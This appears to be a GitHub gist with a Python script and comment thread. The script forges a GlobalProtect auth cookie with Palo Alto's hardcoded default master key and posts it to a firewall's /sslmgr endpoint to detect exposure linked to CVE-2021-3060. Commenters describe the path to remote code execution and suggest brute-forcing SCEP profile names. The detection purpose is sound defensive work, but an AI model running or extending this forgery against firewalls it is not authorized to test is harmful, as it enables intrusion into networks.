check if a PAN firewall is using the default master key when globalprotect is enabled

checkmk.py

from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
import sys, time
import requests

DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'

class PanCrypt():
    def __init__(self, key=DEFAULT_MASTERKEY):
        backend=default_backend()
        key=self._derivekey(key)
        self.c=Cipher(algorithms.AES(key), modes.CBC(b'\0'*16), backend=backend)
    def _derivekey(self,key): 
        salt=b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork")
        return md5(key+salt).digest()*2
    def _pad(self, d):
        plen=16-(len(d)%16)
        return d+(chr(plen)*plen).encode()
    def _encrypt(self,data): 
        e=self.c.encryptor()
        return e.update(self._pad(data)) + e.finalize()
    def encrypt(self, data):
        v='AQ==' # version 1
        hash=b64encode(sha1(data.encode()).digest()).decode()
        ct=b64encode(self._encrypt(data.encode())).decode()
        return '-'+v+hash+ct

def getPayload(spn):
    email="test@test.test"
    user="test"
    hostid="test"
    expiry=str(int(time.time())+1000000)
    token_pt=":".join((expiry, user, hostid))
    token=PanCrypt().encrypt(token_pt)
    return "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token)

 
resp_default="<msg>Unable to find the configuration</msg>"
resp_params="<msg>Invalid parameters</msg>"
resp_invalid="<msg>Invalid Cookie</msg>"
resp_good="<msg>Unable to generate client certificate</msg>"

resps={
    resp_default:"Default MK",
    resp_params: "Invalid parameters, bug?",
    resp_invalid: "MK is not default",
    resp_good: "Default MK, SCEP enabled and correct scep-profile-name",
}
   
def classify(resp):
    for i in resps:
        if i in resp: return resps[i]
    return "unknown"

if __name__=="__main__":
    if len(sys.argv)<2:
        print("usage: checkmk.py <host>")
    host=sys.argv[1]+"/sslmgr"
    spn="test"
    if len(sys.argv)>2:
        spn=sys.argv[2]
    data=getPayload(spn).encode()
    
    if "http" not in host: host="https://"+host
    #print("curl -k -d '{}' '{}'".format(data, host))
    r=requests.post(host, data=data, headers={"content-type":"application/x-www-form-urlencoded"},verify=False)
    print(r.text)
    print(classify(r.text))

Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but maybe it doesn't matter if the vulnerable component (SCEP) isn't in use anyway. Someone with more domain-specific knowledge please correct me if I'm mistaken, though.

Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but it seems like it doesn't matter if the vulnerable component (SCEP) isn't in use anyway.

Yep I just reread through the code after making my comment and saw that. Have plnety with Default MK in use but have not got a resp_good hit yet. Worth changing regardless but curious if they are considered "vulnerable" without the SCEP aspect

Yep I just reread through the code after making my comment and saw that. Have plnety with Default MK in use but have not got a resp_good hit yet. Worth changing regardless but curious if they are considered "vulnerable" without the SCEP aspect

the script has the scep configuration name hardcoded to "test", so that's pretty unlikely to show up on a real production device. The SCEP aspect is due to the fact that this tool is a byproduct of CVE-2021-3060. If you aren't patched for CVE-2021-3060 and you can identify a valid scep-profile-name, you are vulnerable to RCE. Some small modifications to this script could let you try to brute force that valid name, if scep is enabled. Otherwise, the MK is used for a ton of other stuff in PAN-OS but it's mainly an issue from an insider threat scenario (secrets in device config are encrypted with the MK, and some admin interface functionality uses the MK for eg. xmlapi auth keys).

so, you're probably not at immediate risk of RCE, but its still probably a good idea to change it

Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but maybe it doesn't matter if the vulnerable component (SCEP) isn't in use anyway. Someone with more domain-specific knowledge please correct me if I'm mistaken, though.

"Unable to find the configuration" is the response for when the default master key is in use, unless the SCEP profile is named "test" (hardcoded in the script). The response for invalid SCEP profile name is the same as the response for SCEP not being configured.

And here I was thinking that hard coded creds in network gear was a Cisco playbook.

Having given this a go yesterday, for some odd reason the data payload was being generated as a mahoosiv file (2gb) and after some debugging, it looked like the culprit was

#34 expiry=bytes(int(time.time())+1000000)

So a colleague and I fixed that by using

expiry = struct.pack("<L", int(time.time() + 1000000))

This now does generate a more suitable payload size of 207 bytes
I'm still playing around with this, for example adding what @rqu1 mentioned above about brute-forcing valid names but for now, the code can be found here https://github.com/danielcuthbert/random_scrapers/blob/main/paloaltokeys.py

expiry = struct.pack("<L", int(time.time() + 1000000))

This does the wrong thing. The timestamp should be a textual unix timestamp, not packed. I fixed my script in this gist with
expiry=str(int(time.time())+1000000).encode()

thanks though!

aaah got ya, cool ;)

It's working fine, but using Dan's fork as it was easier to understand result from server.
Thank you both.

Hi Team,

I am just a firewall Administrator. Can Someone share the steps to run this script, please?

Many thanks for considering my request.